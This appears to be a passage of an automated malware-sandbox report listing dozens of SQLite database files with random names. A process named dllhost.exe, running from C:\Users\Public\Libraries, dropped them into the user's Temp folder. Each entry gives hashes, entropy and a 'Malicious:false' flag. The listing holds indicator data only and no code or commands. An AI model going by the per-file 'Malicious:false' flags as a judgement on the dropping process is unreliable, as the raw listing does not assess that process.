                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\IRsR97SSoB

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Ii98x01vrc

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\IiPZpavcRn

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\J0aRRd3ms7

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\J7aexe4kGP

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\JFTjJb93fY

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\JZm4g5smc2

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\JeQfAvxF4r

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\JmK19Z2Uwl

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Ju3E7fodlh

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\KC5sQnnYV6

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\KGX6JyeHjX

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\KMQ3xOwXJ4

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\KNhLr0xKBa

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Kq2l5QWhtb

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\LA7PKb9Bv5

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\LDZrwXd5y2

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\LLfuT1vVvT

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\LZgi77zmCu

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Ld5oHg2zlO

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\LdY6eyuYJs

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\MGP9a4XBok

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
